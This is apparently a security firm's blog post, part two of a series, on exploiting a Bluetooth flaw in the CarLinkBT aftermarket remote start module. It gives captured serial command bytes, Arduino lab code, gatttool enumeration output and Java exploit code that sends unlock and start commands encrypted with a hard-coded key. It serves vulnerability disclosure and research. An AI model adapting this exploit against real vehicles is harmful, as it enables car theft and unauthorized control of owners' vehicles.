Hacking an Aftermarket Remote Start System

CarLinkBT Module: Developing an Exploit (Part 2)
Hacking an Aftermarket Remote Start System

How Hackers Track, Control, & Steal Remotely

In part one of this blog series, we discussed background information regarding aftermarket remote start systems, and shared how we chose the CarLinkBT module as our research target. We also reverse engineered the CarLinkBT Android application and uncovered what we believed to be a critical cryptographic flaw within the module’s UART service.

In part two of this series, we’ll dive deeper into the technical specifications of the CarLinkBT module. We’ll also discuss the dynamic analysis and testing performed to confirm our findings. Finally, we’ll walk through the process of developing an exploit for this vulnerability.

CarLink Technical Specifications

The CarLinkBT module supports 3 modes of operation:

Mode 1: Standard Installation mode is used to control both remote start and a Flashlogic CAN (FLCAN) Interface. This mode uses the iDatalink protocol to communicate to devices connected to the module’s input ports.

Mode 2: Flashlogic Remote Start mode is used to communicate with connected devices using the Flashlogic RF protocol rather than iDatalink.  This allows for the module to communicate with Flashlogic Remote Start Kits.

Mode 3: Virtual Transmitter mode is a keyless entry mode that allows the module to lock or unlock the vehicle remotely.

We decided to focus on attacking the CarLinkBT module in Mode 1, as this is the mode used during a standard installation. We placed the module into Test Mode in order to test the remote start signals transmitted by the device. We used a Saleae logic analyzer to record the iDatalink messages as they were sent across the wire:


Figure 1: Start/Stop Signal


Figure 2: Lock Signal


Figure 3: Unlock Signal


Figure 4: Trunk Release Signal

These messages will be routed to either an FLCAN interface or a starter to perform the corresponding operations. After documenting the results of these tests, we exited Test Mode and prepared the device for standard operation. Our next goal was to create a CarLinkBT lab environment in order to simulate a legitimate CarLinkBT installation.

CarLink Lab Setup

This demo relies on the Arduino Mega 2560 board which uses the AVR Mega 2560 processor. We leverage the multiple UARTs on the board to provide reception of the serial messages being output by the CarLinkBT module, and to also provide some console output.

The serial output from the CarLinkBT module is received on the board at rx1 which corresponds to pin 19 on the board. The LEDs are placed on a breadboard and connected via the digital I/O on the board.

In the code, we first need to define the serial messages being sent from the CarLinkBT module. These values were discovered by placing the device into Test Mode and capturing the responses via the logic analyzer.

const byte startstopMessage[] = {0x0c, 0x08, 0xff, 0x32, 0x00, 0x39};
const byte lockMessage[] = {0x0c, 0x08, 0xff, 0x30, 0x00, 0x37};
const byte unlockMessage[] = {0x0c, 0x08, 0xff, 0x31, 0x00, 0x38};
const byte trunkMessage[] = {0x0c, 0x08, 0xff, 0x34, 0x00, 0x3b};

We decided to use LEDs in order to visually confirm that the CarLinkBT module was responding correctly to our attack. We also needed to declare the constant values to correspond to what pins were being used as output by the LEDs.

int startstopLED = 28;
int lockLED = 22;
int unlockLED = 24;
int trunkLED = 26;

We are now ready to setup the UART communications for the CarLinkBT module, output console, and setup the digital I/O.

void setup() {
Serial.println(“<Arduino is ready>”);
pinMode(lockLED, OUTPUT);
pinMode(unlockLED, OUTPUT);
pinMode(trunkLED, OUTPUT);
pinMode(startstopLED, OUTPUT);

The program consists of a process loop which receives a single message from the CarLinkBT module via the call to recvMessage(), and then outputs information to the console while turning on the LEDs via the showNewMessage() call.

void loop() {

The recvMessage() call reads the response from the CarLinkBT module one byte at a time until the end marker r is encountered.

void recvMessage() {
static byte index = 0;
char endMarker = ‘r’;
byte receivedByte;
while (Serial1.available() > 0 && newData == false) {

receivedByte = Serial1.read();
if (receivedByte != endMarker) {
receivedMessage[index] = receivedByte;
if (index >= messageLen) {
index = messageLen – 1;
} 	else {
//receivedMessage[index] = ‘n’;
index = 0;
newData = true;

The showNewMessage() call outputs the raw message to the console. It also parses the message and checks to see if it is one of the messages that we are expecting from the CarLinkBT module.

void showNewMessage() {

if (newData == true) {

Serial.print(“Received message:”);
for (int i = 0; i < 6; i++)
Serial.print(receivedMessage[i], HEX);


if ((receivedMessage[0] == lockMessage[0]) && (receivedMessage[1] ==

lockMessage[1]) && (receivedMessage[2] == lockMessage[2]) && (receivedMessage[3] == lockMessage[3]) && (receivedMessage[4] == lockMessage[4]) && (receivedMessage[5] == lockMessage[5])) {

Serial.println(“Received lock signal”);

digitalWrite(lockLED, HIGH);

} else if ((receivedMessage[0] == unlockMessage[0]) && (receivedMessage[1] ==

unlockMessage[1]) && (receivedMessage[2] == unlockMessage[2]) && (receivedMessage[3]== unlockMessage[3]) && (receivedMessage[4] == unlockMessage[4]) && (receivedMessage[5] == unlockMessage[5])) {

Serial.println(“Received unlock signal”);
digitalWrite(unlockLED, HIGH);

} else if ((receivedMessage[0] == trunkMessage[0]) && (receivedMessage[1] ==

trunkMessage[1]) && (receivedMessage[2] == trunkMessage[2]) && (receivedMessage[3] == trunkMessage[3]) && (receivedMessage[4] == trunkMessage[4]) && (receivedMessage[5] == trunkMessage[5])) {

Serial.println(“Received trunk release signal”);
digitalWrite(trunkLED, HIGH);

}    else if ((receivedMessage[0] == startstopMessage[0]) && (receivedMessage[1] == startstopMessage[1]) && (receivedMessage[2] == startstopMessage[2]) && (receivedMessage[3] == startstopMessage[3]) && (receivedMessage[4] == startstopMessage[4]) && (receivedMessage[5] == startstopMessage[5])) {

Serial.println(“Received start/stop signal”);
digitalWrite(startstopLED, HIGH);

newData = false;

We were able to validate the configuration of our lab environment by triggering each command from Test Mode and ensuring that the correct LEDs were activated.

CarLink Exploit Development

After we had configured our CarLinkBT lab environment, it was time to plan our attack. First, we had to find a way to connect to the CarLinkBT module from the attacking host. We purchased a Bluetooth Micro Adapter with support for Bluetooth Low Energy in order to connect to the CarLinkBT module.

We used the Linux command line utility hcitool to enumerate all BLE devices within range. This revealed a device named CarLinkBT with a hardware address of fe:b2:01:51:14:05.


We then used gatttool to pair with the device and enumerate characteristics.

root@debian:/home/nullsector# gatttool -i hci1 -b FE:B2:01:51:14:05 -t random -I
[FE:B2:01:51:14:05][LE]> connect
Attempting to connect to FE:B2:01:51:14:05
Connection successful

[FE:B2:01:51:14:05][LE]> primary
attr handle: 0x0001, end grp handle: 0x0007 uuid: 00001800-0000-1000-8000-00805f9b34fb
attr handle: 0x0008, end grp handle: 0x000b uuid: 00001801-0000-1000-8000-00805f9b34fb
attr handle: 0x000c, end grp handle: 0x0018 uuid: 0000180a-0000-1000-8000-00805f9b34fb
attr handle: 0x0019, end grp handle: 0xffff uuid: 6e400001-b5a3-f393-e0a9-e50e24dcca9e
[FE:B2:01:51:14:05][LE]> characteristics
handle: 0x0002, char properties: 0x0a, char value handle: 0x0003, uuid: 00002a00-0000-1000-8000-00805f9b34fb
handle: 0x0004, char properties: 0x02, char value handle: 0x0005, uuid: 00002a01-0000-1000-8000-00805f9b34fb
handle: 0x0006, char properties: 0x02, char value handle: 0x0007, uuid: 00002a04-0000-1000-8000-00805f9b34fb
handle: 0x0009, char properties: 0x20, char value handle: 0x000a, uuid: 00002a05-0000-1000-8000-00805f9b34fb
handle: 0x000d, char properties: 0x02, char value handle: 0x000e, uuid: 00002a29-0000-1000-8000-00805f9b34fb
handle: 0x000f, char properties: 0x02, char value handle: 0x0010, uuid: 00002a24-0000-1000-8000-00805f9b34fb
handle: 0x0011, char properties: 0x02, char value handle: 0x0012, uuid: 00002a27-0000-1000-8000-00805f9b34fb
handle: 0x0013, char properties: 0x02, char value handle: 0x0014, uuid: 00002a26-0000-1000-8000-00805f9b34fb
handle: 0x0015, char properties: 0x02, char value handle: 0x0016, uuid: 00002a28-0000-1000-8000-00805f9b34fb
handle: 0x0017, char properties: 0x02, char value handle: 0x0018, uuid: 00002a23-0000-1000-8000-00805f9b34fb
handle: 0x001a, char properties: 0x0c, char value handle: 0x001b, uuid: 6e400002-b5a3-f393-e0a9-e50e24dcca9e
handle: 0x001c, char properties: 0x10, char value handle: 0x001d, uuid: 6e400003-b5a3-f393-e0a9-e50e24dcca9e

It is worth noting that any device is allowed to pair with the CarLinkBT module. Enumeration of the device’s GATT characteristic confirmed the availability of the UART service detailed in part 1 of this series. At this point, we are set to begin developing our exploit.

The decompiled source code retrieved form the Java application provides us with a great deal of code that may be reusable in exploitation. As a result, we chose to write our exploit in Java to save time. We leveraged the TinyB BLE API published as part of Intel’s IoT Developer Kit in order to communicate with the CarLinkBT module. Finally, we used the Cliche interactive command line library to implement our exploit as an interactive shell.

The exploitation of this vulnerability can be broken down into 5 phases. These phases closely align the legitimate operation of the CarLinkBT module, as they were primarily inspired by our prior analysis.

  • Discovery of BLE Device
  • Selection of the Target Device
  • Connection to the Target Device
  • Communication with the Target Device
  • Disconnection from the Target Device

We programmed a shell command for each of the phases as discover, device, connect, send, and disconnect respectively. The interactive functionality of our exploit allows for the user to exercise precise control at each step of exploitation.

The discover command simply discovers BLE device within range, similar to the functionality of hcitool as it was used earlier.

@Command(description=”Discover nearby BLE devices.”)
public void discover() {


// Initialize the TinyB library
manager = BluetoothManager.getBluetoothManager();
// Start discovering BLE devices
boolean discoveryStarted = manager.startDiscovery();
for(int i = 0; (i < 15) && running; ++i) {


list = manager.getDevices(); if(list == null)


System.err.println(“[!] Device list is empty.”);


for(BluetoothDevice d : list) {










The device command allows for the user to submit a device to which they’d like to connect, and the connect command initiates a new connection.

@Command(description = “Choose the device you wish to acquire a handle to.”)
public void device(@Param(name=”Device Name”, description=”The device name”) String deviceName) {
for(BluetoothDevice d : list) {
if(d.getName().equals(deviceName)) {
device = d;
if(device != null) {
System.out.println(“[+] Able to aquire a handle to the device.”);

@Command(description = “Connect to the device you wish to attack.”)
public void connect() {
if (device.connect()) {
System.out.println(“[+] Connected to the device”);
else {
System.err.println(“[!] Could not connect to the device”);

When the connect command is executed, our exploit will connect to the target BLE device and attempt to verify the UART service and RX characteristic. If either are invalid or unavailable, we promptly disconnect from the device.

public static void setUpCommunications(BluetoothDevice device) {
System.out.println(“[+] Setting up the communication channel”);
// Acquire a handle to the GATT UART service
uartService = LowRider.getService(device, UART_SERVICE);
if (uartService == null) {
System.err.println(“[!] Did not find the UART Service. [!]”);
System.err.println(“[!] Disconnecting from device: ” + device.getAddress());
System.out.println(“[+] Found UART Service: ” + uartService.getUUID());

//Acquire handle to RX UART GATT Characteristic
uartRX = LowRider.getCharacteristic(uartService, UART_RX_CHAR);
if(uartRX == null) {
System.err.println(“[!] Did not find the UART RX characteristic. [!]”);
System.err.println(“[!] Disconnecting for device: ” + device.getAddress());
System.out.println(“[+] Found UART RX Characteristic: ” + uartRX.getUUID());

The send command accepts a keyword argument such as unlock or start. This argument is handled by a switch statement used to determine which command code to include when constructing the message to be sent to the device.

@Command(description = “Send the device a command”)
public void send(
@Param(name=”commandName”, description=”The name of the command that you want to send”) String commandName) {

byte[] command;
switch(commandName) {
case “aux1”:
command = CarLinkBT.createCommand(CarLinkBT.Commands.AUX1.getValue());
System.out.println(“[+] Sending aux1 command [+]”);
try {
} catch(BluetoothException e) {
case “aux2”:
command = CarLinkBT.createCommand(CarLinkBT.Commands.AUX2.getValue());

Prior to writing this message to the UART RX characteristic, the message is encrypted using the default hard-coded XXTEA key. When the user is done instructing the CarLinkBT module to unlock the doors or start the vehicle, the disconnect command may be used to safely disconnect from the device.

The video below depicts a demonstration of our attack within our lab environment. As we execute each send command, our command message is received and forwarded by the CarLinkBT module.

Although this exploit was tested in the standard operation mode, all operation modes are vulnerable to this attack.


As we’ve demonstrated, this vulnerability allows for a rogue attacker to freely communicate with the CarLinkBT device. This issue could have been partially avoided by enforcing a secure Bluetooth pairing process.

It is also never safe to include a cryptographic master key within a publicly available application package.

As the CarLinkBT module does not appear to offer Over-the-air (OTA) updates, patching this issue would be very difficult and is unlikely to happen. Thankfully, there are remote start modules that offer improved security and OTA updates.

Although this target was rather trivial to exploit, we believe that automotive security research will become more difficult as the industry becomes more aware of the risks imposed by insufficient security within automotive technologies.

If you’d like to read more on vulnerabilities and exploit development from our research team, check out our latest presentation on Abusing Insecure WCF Endpoints.

Offensive Minded Security Exploit Development

VerSprite’s Research and Development division (a.k.a VS-Labs) is comprised of individuals who are passionate about diving into the internals of various technologies. Our clients rely on VerSprite’s unique offerings of zero-day vulnerability research and exploit development to protect their assets from various threat actors. From advanced technical security training to our research for hire B.O.S.S offering, we help organizations solve their most complex technical challenges. Learn more →